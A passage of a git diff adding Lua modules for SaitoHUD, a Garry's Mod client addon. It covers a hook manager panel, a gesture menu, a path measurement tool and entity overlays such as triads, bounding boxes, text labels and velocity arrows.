r.segment)) + print(string.format("Point-line segment projection #%s: %s -> %s", r.name, + tostring(r.pt), tostring(r.segment))) +end + +concommand.Add("geom_point", AddPoint) +concommand.Add("geom_point_live", AddPoint) +concommand.Add("geom_point_center", AddEntPoint) +concommand.Add("geom_point_center_live", AddEntPoint) +concommand.Add("geom_point_bbox", AddEntPoint) +concommand.Add("geom_point_bbox_live", AddEntPoint) +concommand.Add("geom_point_mass", AddEntPoint) +concommand.Add("geom_point_mass_live", AddEntPoint) +concommand.Add("geom_line", AddLine) +concommand.Add("geom_project_point_segment", ProjectPointSegment) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/hook_manager.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/hook_manager.lua new file mode 100644 index 0000000..b46e9b8 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/hook_manager.lua @@ -0,0 +1,142 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +g_SaitoHUDHookMemory = g_SaitoHUDHookMemory or {} + +------------------------------------------------------------ +-- SaitoHUDHookManager +------------------------------------------------------------ + +local PANEL = {} + +function PANEL:Init() + self.HookMemory = g_SaitoHUDHookMemory + + self:SetTitle("SaitoHUD Hook Manager") + self:SetSizable(true) + self:SetSize(math.max(600, ScrW() * 0.8), 400) + self:ShowCloseButton(true) + self:SetDraggable(true) + + -- Make list view + self.HookList = vgui.Create("DCustomListView", self) + self.HookList:SetLineClass("DListView_CheckboxLine") + self.HookList:AddColumn(""):SetFixedWidth(25) + self.HookList:AddColumn("Hook"):SetWide(50) + self.HookList:AddColumn("ID"):SetWide(100) + self.HookList:AddColumn("File"):SetWide(200) + + self.RefreshBtn = vgui.Create("DButton", self) + self.RefreshBtn:SetText("Refresh") + self.RefreshBtn:SetWide(100) + self.RefreshBtn.DoClick = function() + self:PopulateHooks() + end + + self:PopulateHooks() +end + +function PANEL:PopulateHooks() + self.HookList:Clear() + + for h, hooks in pairs(hook.GetTable()) do + for id, func in pairs(hooks) do + local info = debug.getinfo(func, 'S') + local path = (info.source or ""):gsub("^@", "") + local line = self.HookList:AddLine("", h, id, path) + line:SetChecked(true) + line.OnChange = function(line, checked) + if checked then + self:EnableHook(h, id) + else + self:DisableHook(h, id) + end + end + end + + for id, func in pairs(self.HookMemory[h] or {}) do + local info = debug.getinfo(func, 'S') + local path = (info.source or ""):gsub("^@", "") + local line = self.HookList:AddLine("", h, id, path) + line:SetChecked(false) + line.OnChange = function(line, checked) + if checked then + self:EnableHook(h, id) + else + self:DisableHook(h, id) + end + end + end + end +end + +function PANEL:DisableHook(name, id) + local hookList = hook.GetTable()[name] + if not hookList or not hookList[id] then + Derma_Message("The hook doesn't exist anymore.", "Missing Hook") + return + end + + self.HookMemory[name] = self.HookMemory[name] or {} + self.HookMemory[name][id] = hookList[id] + hook.Remove(name, id) +end + +function PANEL:EnableHook(name, id) + local hookList = hook.GetTable()[name] + if hookList and hookList[id] then + hookList[id] = nil + Derma_Message("The hook was recreated.", "Hook Recreated") + return + end + + if not self.HookMemory[name] or not self.HookMemory[name][id] then + Derma_Message("The hook was never saved.", "Error") + return + end + + local f = self.HookMemory[name][id] + hook.Add(name, id, f) + self.HookMemory[name][id] = nil +end + +function PANEL:PerformLayout() + self.BaseClass.PerformLayout(self) + + local wide = self:GetWide() + local tall = self:GetTall() + + self.HookList:StretchToParent(8, 28, 8, 36) + + self.RefreshBtn:SetPos(7, tall - self.RefreshBtn:GetTall() - 7) +end + +vgui.Register("SaitoHUDHookManager", PANEL, "DFrame") + +------------------------------------------------------------ + +function SaitoHUD.OpenHookManager() + local frame = vgui.Create("SaitoHUDHookManager") + frame:Center() + frame:MakePopup() +end + +concommand.Add("hook_manager", function() + SaitoHUD.OpenHookManager() +end) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/listgest.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/listgest.lua new file mode 100644 index 0000000..b68c32a --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/listgest.lua @@ -0,0 +1,144 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + + +surface.CreateFont("HudHintTextLarge", { + font = "Verdana", + size = 14, + weight = 1000, + antialias = true, + additive = true, + } +) + + + +SaitoHUD.Gesturing = false + +local menu = {} +local lastIndex = 0 +local lastMXDist = 0 +local listgest_submenu_sensitivity = CreateClientConVar("listgest_submenu_sensitivity", "50", true, false) + +--- Builds the list gesture menu. +local function GetMenu(Name) + local menu = {} + local numHooks = SaitoHUD.CountHooks("SaitoHUDProvideMenu") + local registered = SaitoHUD.CallHookAggregate("SaitoHUDProvideMenu", numHooks, Name) + for _, items in pairs(registered) do + table.Add(menu, items) + end + + table.insert(menu, 1, { + text = "Cancel", + }) + + return menu +end + +--- Starts list gesture; called from the +listgest concmd. +local function StartGesture(ply, cmd, args) + SaitoHUD.Gesturing = true + menu = GetMenu("") + lastIndex = 0 + gui.EnableScreenClicker(true) +end + +--- Ends list gesture; called from the -listgest concmd. +local function EndGesture(ply, cmd, args) + SaitoHUD.Gesturing = false + gui.EnableScreenClicker(false) + surface.PlaySound("ui/buttonclickrelease.wav") + + if menu[lastIndex] then + local entry = menu[lastIndex] + + --If it's a submenu, just return and do nothing + if SaitoHUD.isGestMenu(entry.action) then return end + + if type(entry.action) == "function" then + entry.action(entry) + elseif type(entry.action) == "string" then + LocalPlayer():ConCommand(entry.action .. "\n") + end + end +end + +local function HUDPaint() + if not SaitoHUD.Gesturing then return end + + local offsetX, offsetY = ScrW() - 210, ScrH() * 0.1 + local mX, mY = gui.MousePos() + local scX, scY = ScrW() / 2, ScrH() / 2 + local mDistance = math.max(math.abs(scY - mY) - 5, 0) + local index = 1 + + local MXDist = (scX-mX) + + surface.SetFont("HudHintTextLarge") + surface.SetTextColor(255, 255, 255, 200) + surface.SetTextPos(10,350) + surface.DrawText(tostring(MXDist)) + + if mY > scY then + index = math.min(math.floor(mDistance / 15) + 1, table.Count(menu)) + else + index = 1 + --index = table.Count(menu) - math.min(math.floor(mDistance / 15), table.Count(menu) - 1) + end + + if index ~= lastIndex then + lastMXDist = MXDist + surface.PlaySound("weapons/pistol/pistol_empty.wav") + end + + --Navigate to sub-menu + if MXDist - lastMXDist > listgest_submenu_sensitivity:GetInt() or MXDist - lastMXDist < -listgest_submenu_sensitivity:GetInt() then + lastMXDist = MXDist + + if SaitoHUD.isGestMenu(menu[index].action) then + menu = GetMenu(menu[index].action) + lastIndex = 0 + lastMXDist = 0 + + gui.SetMousePos(scX,scY) + surface.PlaySound("weapons/pistol/pistol_empty.wav") + end + end + + lastIndex = index + + for i, entry in pairs(menu) do + local bgColor = entry.bgColor and entry.bgColor or Color(0, 0, 0, 255) + local x, y = offsetX, offsetY + i * 30 + + surface.SetFont("HudHintTextLarge") + local w, h = surface.GetTextSize(entry.text) + draw.RoundedBox(4, x - 3, y - h/2, + 200 + 3, h + 12, + index == i and Color(255, 50, 50, 255) or bgColor) + surface.SetTextColor(255, 255, 255, 200) + surface.SetTextPos(x, y) + surface.DrawText(entry.text) + end +end + +concommand.Add("+listgest", StartGesture) +concommand.Add("-listgest", EndGesture) +hook.Add("HUDPaint", "SaitoHUD.ListGest", HUDPaint) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/measure.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/measure.lua new file mode 100644 index 0000000..88024d4 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/measure.lua @@ -0,0 +1,478 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +SaitoHUD.MeasurePoints = {} +SaitoHUD.MeasureLength = 0 + +local Rehook = nil +local containsLive = false + +--- Recalculate the measured total. +local function RecalcMeasuredTotal() + SaitoHUD.MeasureLength = 0 + containsLive = false + + if #SaitoHUD.MeasurePoints > 1 then + local last = SaitoHUD.MeasurePoints[1] + if type(last) == 'table' then containsLive = true end + + for i = 2, #SaitoHUD.MeasurePoints do + local pt = SaitoHUD.MeasurePoints[i] + SaitoHUD.MeasureLength = SaitoHUD.MeasureLength + pt:Distance(last) + last = pt + if type(last) == 'table' then containsLive = true end + end + end +end + +--- Console command to add a point to the path measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function AddMeasuredPoint(ply, cmd, args) + local r = SaitoHUD.ParseVarConcmd(args, { + { Name = "vec", Type = SaitoHUD.VAR_CONCMD_GEOM_POINT, ImplicitTrace = true }, + }) + if not r then return end + + local vec = r.vec + local last = SaitoHUD.MeasurePoints[#SaitoHUD.MeasurePoints] + + table.insert(SaitoHUD.MeasurePoints, vec) + RecalcMeasuredTotal() + + if #SaitoHUD.MeasurePoints > 1 then + print("Added point #" .. #SaitoHUD.MeasurePoints) + print(string.format("Incremental distance: %f", + last:Distance(vec))) + print(string.format("Total distance: %f", SaitoHUD.MeasureLength)) + end + + SaitoHUD.UpdateMeasuringPanel() + Rehook() +end + +--- Console command to close the path of the measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function CloseMeasurementLoop(ply, cmd, args) + local vec = nil + + if #SaitoHUD.MeasurePoints < 2 then + LocalPlayer():ChatPrint("Not enough points.") + end + + local vec = SaitoHUD.MeasurePoints[1] + + local last = SaitoHUD.MeasurePoints[#SaitoHUD.MeasurePoints] + + table.insert(SaitoHUD.MeasurePoints, vec) + RecalcMeasuredTotal() + + if #SaitoHUD.MeasurePoints > 1 then + print("Added point #" .. #SaitoHUD.MeasurePoints) + print(string.format("Incremental distance: %f", + last:Distance(vec))) + print(string.format("Total distance: %f", SaitoHUD.MeasureLength)) + end + + + SaitoHUD.UpdateMeasuringPanel() + Rehook() +end + +--- Console command to add an orthogonal line to the path measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function AddOrthoMeasuredPoint(ply, cmd, args) + if #args ~= 0 then + Msg("Invalid number of arguments\n") + return + end + + local start = SaitoHUD.GetRefTrace() + + local data = {} + data.start = start.HitPos + data.endpos = start.HitNormal * 100000 + start.HitPos + data.filter = LocalPlayer() + local final = util.TraceLine(data) + + table.insert(SaitoHUD.MeasurePoints, start.HitPos) + table.insert(SaitoHUD.MeasurePoints, final.HitPos) + + RecalcMeasuredTotal() + + print("Added points #" .. (#SaitoHUD.MeasurePoints - 1) .. + " #" .. #SaitoHUD.MeasurePoints) + print(string.format("Total distance: %f", SaitoHUD.MeasureLength)) + + SaitoHUD.UpdateMeasuringPanel() + Rehook() +end + +--- Console command to insert a point in the path measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function InsertMeasuredPoint(ply, cmd, args) + local r = SaitoHUD.ParseVarConcmd(args, { + { Name = "index" }, + { Name = "vec", Type = SaitoHUD.VAR_CONCMD_GEOM_POINT, ImplicitTrace = true }, + }) + if not r then return end + + local index = math.floor(r.index) + + if index < 1 or index > #SaitoHUD.MeasurePoints + 1 then + Msg("Invalid index\n") + return + end + + table.insert(SaitoHUD.MeasurePoints, index, r.vec) + print("Inserted point at #" .. index) + + RecalcMeasuredTotal() + SaitoHUD.UpdateMeasuringPanel() + Rehook() +end + +--- Console command to insert an orthogonal line in the path measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function InsertOrthoMeasuredPoint(ply, cmd, args) + if #args ~= 1 then + Msg("Invalid number of arguments\n") + return + end + + local index = tonumber(args[1]) + + if not index then + Msg("Invalid index\n") + end + + index = math.floor(index) + + if index < 1 or index > #SaitoHUD.MeasurePoints + 1 then + Msg("Invalid index\n") + return + end + + local start = SaitoHUD.GetRefTrace() + + local data = {} + data.start = start.HitPos + data.endpos = start.HitNormal * 100000 + start.HitPos + data.filter = LocalPlayer() + local final = util.TraceLine(data) + + table.insert(SaitoHUD.MeasurePoints, index, start.HitPos) + table.insert(SaitoHUD.MeasurePoints, index + 1, final.HitPos) + + print("Inserted 2 points at #" .. index) + + RecalcMeasuredTotal() + SaitoHUD.UpdateMeasuringPanel() + Rehook() +end + +--- Console command to replace a point in the path measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function ReplaceMeasuredPoint(ply, cmd, args) + local r = SaitoHUD.ParseVarConcmd(args, { + { Name = "index" }, + { Name = "vec", Type = SaitoHUD.VAR_CONCMD_GEOM_POINT, ImplicitTrace = true }, + }) + if not r then return end + + local index = math.floor(tonumber(r.index)) + + if not SaitoHUD.MeasurePoints[index] then + Msg("No such index\n") + return + end + + SaitoHUD.MeasurePoints[index] = r.vec + print("Replaced point #" .. index) + + RecalcMeasuredTotal() + SaitoHUD.UpdateMeasuringPanel() + Rehook() +end + +--- Console command to remove a point in the path measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function RemoveMeasuredPoint(ply, cmd, args) + local r = SaitoHUD.ParseVarConcmd(args, { + { Name = "index" }, + { Name = "vec", Type = SaitoHUD.VAR_CONCMD_GEOM_POINT, ImplicitTrace = true }, + }) + if not r then return end + + local index = math.floor(tonumber(r.index)) + + if not SaitoHUD.MeasurePoints[index] then + Msg("No such index\n") + return + end + + table.remove(SaitoHUD.MeasurePoints, index) + print("Removed point #" .. index) + + RecalcMeasuredTotal() + SaitoHUD.UpdateMeasuringPanel() + Rehook() +end + +--- Console command to remove the last point in the path measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function RemoveLastMeasuredPoint(ply, cmd, args) + RemoveMeasuredPoint(ply, cmd, {#SaitoHUD.MeasurePoints}) +end + +--- Console command to list points added in the measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function ListMeasuredPoints(ply, cmd, args) + if #args ~= 0 then + Msg("Invalid number of arguments\n") + return + end + + if #SaitoHUD.MeasurePoints > 0 then + for k, pt in pairs(SaitoHUD.MeasurePoints) do + if k == 1 then + print(string.format("#%d (%s)",k, tostring(pt))) + else + print(string.format("#%d (%s) incr. dist.: %f", + k, tostring(pt), pt:Distance(SaitoHUD.MeasurePoints[k - 1]))) + end + end + + print(string.format("Total distance: %f", SaitoHUD.MeasureLength)) + else + print("No points!") + end +end + +--- Console command to sum point distances in the measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function SumMeasuredPoints(ply, cmd, args) + if #args ~= 2 then + Msg("Invalid number of arguments\n") + return + end + + local index1 = tonumber(args[1]) + local index2 = tonumber(args[2]) + + if not index1 or not index2 or index1 >= index2 then + Msg("Invalid arguments\n") + return + end + + index1 = math.floor(index1) + index2 = math.floor(index2) + + if index1 < 1 or index2 > #SaitoHUD.MeasurePoints then + Msg("Indexes out of range\n") + return + end + + local last = SaitoHUD.MeasurePoints[index1] + local total = 0 + + for i = index1 + 1, index2 do + local pt = SaitoHUD.MeasurePoints[i] + total = total + pt:Distance(last) + last = pt + end + + print(string.format("Total distance from #%d -> #%d: %f", index1, index2, total)) +end + +--- Console command to get the distance between two points +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function BetweenMeasuredPoints(ply, cmd, args) + if #args ~= 2 then + Msg("Invalid number of arguments\n") + return + end + + local index1 = tonumber(args[1]) + local index2 = tonumber(args[2]) + + if not index1 or not index2 or index1 >= index2 then + Msg("Invalid arguments\n") + return + end + + index1 = math.floor(index1) + index2 = math.floor(index2) + + if index1 == index2 then + Msg("Both indexes are the same\n") + return + end + + local distance = SaitoHUD.MeasurePoints[index1]:Distance(SaitoHUD.MeasurePoints[index2]) + + print(string.format("Direct distance between #%d and #%d: %f", index1, index2, distance)) +end + +--- Console commands to clear the list of points. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function ClearMeasuredPoints(ply, cmd, args) + if #args ~= 0 then + Msg("Invalid number of arguments\n") + return + end + + SaitoHUD.MeasurePoints = {} + + print("Cleared") + + SaitoHUD.UpdateMeasuringPanel() + Rehook() +end + +--- Draw measured path. +local function DrawMeasuringLines() + local dim = 5 + surface.SetDrawColor(255, 0, 255, 255) + + if #SaitoHUD.MeasurePoints > 1 then + local last = SaitoHUD.MeasurePoints[1] + local lastScreen = last:ToScreen() + + if lastScreen.visible then + draw.SimpleText(tostring(1), + "DefaultSmallDropShadow", lastScreen.x, lastScreen.y, + color_white, 1, ALIGN_TOP) + end + + for i = 2, #SaitoHUD.MeasurePoints do + local pt = SaitoHUD.MeasurePoints[i] + local midPt = (pt - last) / 2 + last + local ptScreen = pt:ToScreen() + local midPtScreen = midPt:ToScreen() + + if ptScreen.visible and lastScreen.visible then + surface.DrawLine(lastScreen.x, lastScreen.y, ptScreen.x, ptScreen.y) + end + + if midPtScreen.visible then + draw.SimpleText(string.format("%0.2f", last:Distance(pt)), + "DefaultSmallDropShadow", + midPtScreen.x, midPtScreen.y, + Color(255, 200, 255, 255), 1, ALIGN_TOP) + end + + if ptScreen.visible then + draw.SimpleText(tostring(i), "DefaultSmallDropShadow", + ptScreen.x - 2, ptScreen.y - 5, + color_white, 1, ALIGN_TOP) + end + + last = pt + lastScreen = last:ToScreen() + end + + local yOffset = ScrH() * 0.3 - 50 + local color = Color(255, 200, 255, 255) + draw.SimpleText("Measured Total: " .. string.format("%.7f", SaitoHUD.MeasureLength), + "TabLarge", ScrW() - 16, yOffset, color, 2, ALIGN_TOP) + elseif #SaitoHUD.MeasurePoints == 1 then + local dim = 5 + local last = SaitoHUD.MeasurePoints[1] + local lastScreen = last:ToScreen() + surface.DrawOutlinedRect(lastScreen.x - dim / 2, + lastScreen.y - dim / 2, + dim, dim) + draw.SimpleText(tostring(1), + "DefaultSmallDropShadow", lastScreen.x, lastScreen.y, + color_white, 1, ALIGN_TOP) + end +end + +--- Draw RenderScreenspaceEffects. +local function DoDrawSurveyScreenspace() + -- Since the lines are long, we cannot draw on the HUD because lines with + -- end points that are off screen may not appear right + surface.SetDrawColor(255, 0, 255, 255) + if #SaitoHUD.MeasurePoints > 1 then + local last = SaitoHUD.MeasurePoints[1] + + for i = 2, #SaitoHUD.MeasurePoints do + local pt = SaitoHUD.MeasurePoints[i] + + SaitoHUD.Draw3D2DLine(last, pt) + + last = pt + end + end +end + +--- Draw survey HUDPaint stuff. +local function DrawSurvey() + if containsLive then RecalcMeasuredTotal() end + DrawMeasuringLines() +end + +Rehook = function() + if #SaitoHUD.MeasurePoints > 0 then + hook.Add("RenderScreenspaceEffects", "SaitoHUD.Measure", DrawSurveyScreenspace) + hook.Add("HUDPaint", "SaitoHUD.Measure", DrawSurvey) + else + pcall(hook.Remove, "RenderScreenspaceEffects", "SaitoHUD.Measure") + pcall(hook.Remove, "HUDPaint", "SaitoHUD.Measure") + end +end + +Rehook() + +concommand.Add("measure_add", AddMeasuredPoint) +concommand.Add("measure_add_ortho", AddOrthoMeasuredPoint) +concommand.Add("measure_close", CloseMeasurementLoop) +concommand.Add("measure_insert", InsertMeasuredPoint) +concommand.Add("measure_insert_ortho", InsertOrthoMeasuredPoint) +concommand.Add("measure_replace", ReplaceMeasuredPoint) +concommand.Add("measure_list", ListMeasuredPoints) +concommand.Add("measure_clear", ClearMeasuredPoints) +concommand.Add("measure_sum", SumMeasuredPoints) +concommand.Add("measure_between", BetweenMeasuredPoints) +concommand.Add("measure_remove", RemoveMeasuredPoint) +concommand.Add("measure_remove_last", RemoveLastMeasuredPoint) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/overlays.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/overlays.lua new file mode 100644 index 0000000..483214b --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/overlays.lua @@ -0,0 +1,245 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +------------------------------------------------------------ +-- Triads +------------------------------------------------------------ + +local triadsFilterGuide = CreateClientConVar("triads_filter_guide", "1", true, false) + +--- Draw a triad. +-- @param p1 Point +-- @param ang Angle +local function DrawTriad(p1, ang) + local p2 = p1 + ang:Forward() * 16 + local p3 = p1 + ang:Right() * 16 + local p4 = p1 + ang:Up() * 16 + + p1, p2, p3, p4 = p1:ToScreen(), p2:ToScreen(), p3:ToScreen(), p4:ToScreen() + + surface.SetDrawColor(255, 0, 0, 255) + surface.DrawLine(p1.x, p1.y, p2.x, p2.y) -- Forward + surface.SetDrawColor(0, 255, 0, 255) + surface.DrawLine(p1.x, p1.y, p3.x, p3.y) -- Right + surface.SetDrawColor(0, 0, 255, 255) + surface.DrawLine(p1.x, p1.y, p4.x, p4.y) -- Up +end + +local OVERLAY = {} + +function OVERLAY.DrawEnt(ent) + local pos = ent:GetPos() + DrawTriad(pos, ent:GetAngles()) +end + +function OVERLAY.HUDPaint(ent) + if triadsFilterGuide:GetBool() then + local w = ScrW() + surface.SetDrawColor(255, 0, 0, 255) + surface.DrawLine(w - 20, 30, w - 5, 38) -- Forward + surface.SetDrawColor(0, 200, 0, 255) + surface.DrawLine(w - 35, 38, w - 20, 30) -- Right + surface.SetDrawColor(0, 0, 255, 255) + surface.DrawLine(w - 20, 30, w - 20, 10) -- Up + end +end + +SaitoHUD.RegisterOverlay("triads", OVERLAY) + +------------------------------------------------------------ +-- Bounding boxes +------------------------------------------------------------ + +local OVERLAY = {} + +function OVERLAY.DrawEnt(ent) + local pos = ent:GetPos() + local obbMin = ent:OBBMins() + local obbMax = ent:OBBMaxs() + + local p = { + ent:LocalToWorld(Vector(obbMin.x, obbMin.y, obbMin.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMin.x, obbMax.y, obbMin.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMax.x, obbMax.y, obbMin.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMax.x, obbMin.y, obbMin.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMin.x, obbMin.y, obbMax.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMin.x, obbMax.y, obbMax.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMax.x, obbMax.y, obbMax.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMax.x, obbMin.y, obbMax.z)):ToScreen(), + } + + local visible = true + for i = 1, 8 do + if not p[i].visible then + visible = false + break + end + end + + if visible then + if ent:IsPlayer() then + if ent:Alive() then + surface.SetDrawColor(0, 255, 0, 255) + else + surface.SetDrawColor(0, 0, 255, 255) + end + else + surface.SetDrawColor(255, 0, 0, 255) + end + + -- Bottom + surface.DrawLine(p[1].x, p[1].y, p[2].x, p[2].y) + surface.DrawLine(p[2].x, p[2].y, p[3].x, p[3].y) + surface.DrawLine(p[3].x, p[3].y, p[4].x, p[4].y) + surface.DrawLine(p[4].x, p[4].y, p[1].x, p[1].y) + -- Top + surface.DrawLine(p[5].x, p[5].y, p[6].x, p[6].y) + surface.DrawLine(p[6].x, p[6].y, p[7].x, p[7].y) + surface.DrawLine(p[7].x, p[7].y, p[8].x, p[8].y) + surface.DrawLine(p[8].x, p[8].y, p[5].x, p[5].y) + -- Sides + surface.DrawLine(p[1].x, p[1].y, p[5].x, p[5].y) + surface.DrawLine(p[2].x, p[2].y, p[6].x, p[6].y) + surface.DrawLine(p[3].x, p[3].y, p[7].x, p[7].y) + surface.DrawLine(p[4].x, p[4].y, p[8].x, p[8].y) + -- Bottom + --surface.DrawLine(p[1].x, p[1].y, p[3].x, p[3].y) + end +end + +SaitoHUD.RegisterOverlay("bbox", OVERLAY) + +------------------------------------------------------------ +-- Text overlays +------------------------------------------------------------ + +local overlayFilterText = CreateClientConVar("overlay_filter_text", "class", true, false) +local overlayFilterPrint = CreateClientConVar("overlay_filter_print_removed", "0", true, false) + +local peakSpeeds = {} +local peakEntityInfo = {} + +function ClearOverlayCaches(ply, cmd, args) + peakSpeeds = {} + peakEntityInfo = {} +end + +local OVERLAY = {} + +function OVERLAY.DrawEnt(ent) + local refPos = SaitoHUD.GetRefPos() + local ot = overlayFilterText:GetString() + + local text = "" + local pos = ent:GetPos() + local screenPos = pos:ToScreen() + + if ot == "class" then + text = ent:GetClass() + elseif ot == "model" then + text = ent:GetModel() + elseif ot == "id" then + text = tostring(ent:EntIndex()) + elseif ot == "material" then + text = ent:GetMaterial() + elseif ot == "speed" then + local speed = ent:GetVelocity():Length() + if speed == 0 then + text = "Z" + else + text = string.format("%0.1f", speed) + end + elseif ot == "peakspeed" then + local index = ent:EntIndex() + local speed = ent:GetVelocity():Length() + if not peakSpeeds[index] then + peakSpeeds[index] = speed + peakEntityInfo[index] = string.format("%s [%s]", + ent:GetClass(), + ent:GetModel()) + else + if speed > peakSpeeds[index] then + peakSpeeds[index] = speed + end + end + if peakSpeeds[index] == 0 then + text = "Z" + else + text = string.format("%0.1f", peakSpeeds[index]) + end + end + + if text == nil then text = "" end + + draw.SimpleText(text, "TabLarge", screenPos.x, screenPos.y, + color_white, 1, ALIGN_TOP) +end + +function OVERLAY.OnPostEvaluate() + -- Clear dead entities from caches + for k, _ in pairs(peakSpeeds) do + local ent = ents.GetByIndex(k) + if not IsValid(ent) then + if overlayFilterPrint:GetBool() then + print(string.format("%s removed, peak speed was %f", + peakEntityInfo[k], + peakSpeeds[k])) + end + + peakSpeeds[k] = nil + end + end +end + +SaitoHUD.RegisterOverlay("overlay", OVERLAY) + +concommand.Add("overlay_filter_clear_cache", ClearOverlayCaches) +cvars.AddChangeCallback("overlay_filter_text", ClearOverlayCaches) + +------------------------------------------------------------ +-- Velocities +------------------------------------------------------------ + +local OVERLAY = {} + +function OVERLAY.DrawEnt(ent) + local pos = ent:GetPos() + local vel = ent:GetVelocity() + local len = vel:Length() + local adjVel = vel / 10 + + if len > 0 then + local p1 = pos + local p2 = pos + adjVel + local d = math.Clamp(2 * math.exp(0.0004 * len), 5, 20) + p1, p2 = p1:ToScreen(), p2:ToScreen() + surface.SetDrawColor(255, 255, 0, 255) + surface.DrawLine(p1.x, p1.y, p2.x, p2.y) + local ang = math.atan2(p2.y - p1.y, p2.x - p1.x) - math.rad(135) + local x = d * math.cos(ang) + p2.x + local y = d * math.sin(ang) + p2.y + surface.DrawLine(p2.x, p2.y, x, y) + local ang = math.atan2(p2.y - p1.y, p2.x - p1.x) - math.rad(-135) + local x = d * math.cos(ang) + p2.x + local y = d * math.sin(ang) + p2.y + surface.DrawLine(p2.x, p2.y, x, y) + end +end + +SaitoHUD.RegisterOverlay("vel_vec", OVERLAY) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/panel.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/panel.lua new file mode 100644 index 0000000..3b27633 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/panel.lua @@ -0,0 +1,621 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local pointsList +local quickFilters = {} + +--- Loads the quick filters from file. +local function LoadQuickFilters() + local data = SaitoHUD.ParseCSV(file.Read("saitohud/quick_filters.txt", "DATA")) + + if #data > 0 then + -- Remove the header + if data[1][1] == "Filter" then + table.remove(data, 1) + end + + quickFilters = {""} + + for _, v in pairs(data) do + if v[1] and v[1] ~= "" then + table.insert(quickFilters, v[1]) + end + end + else + quickFilters = { + "", + "pod", + "npc", + "vehicle", + "sent_ball", + "maxdist=1000 and prop", + "wire_expr", + } + end +end + +--- Adds an input to a panel. +-- 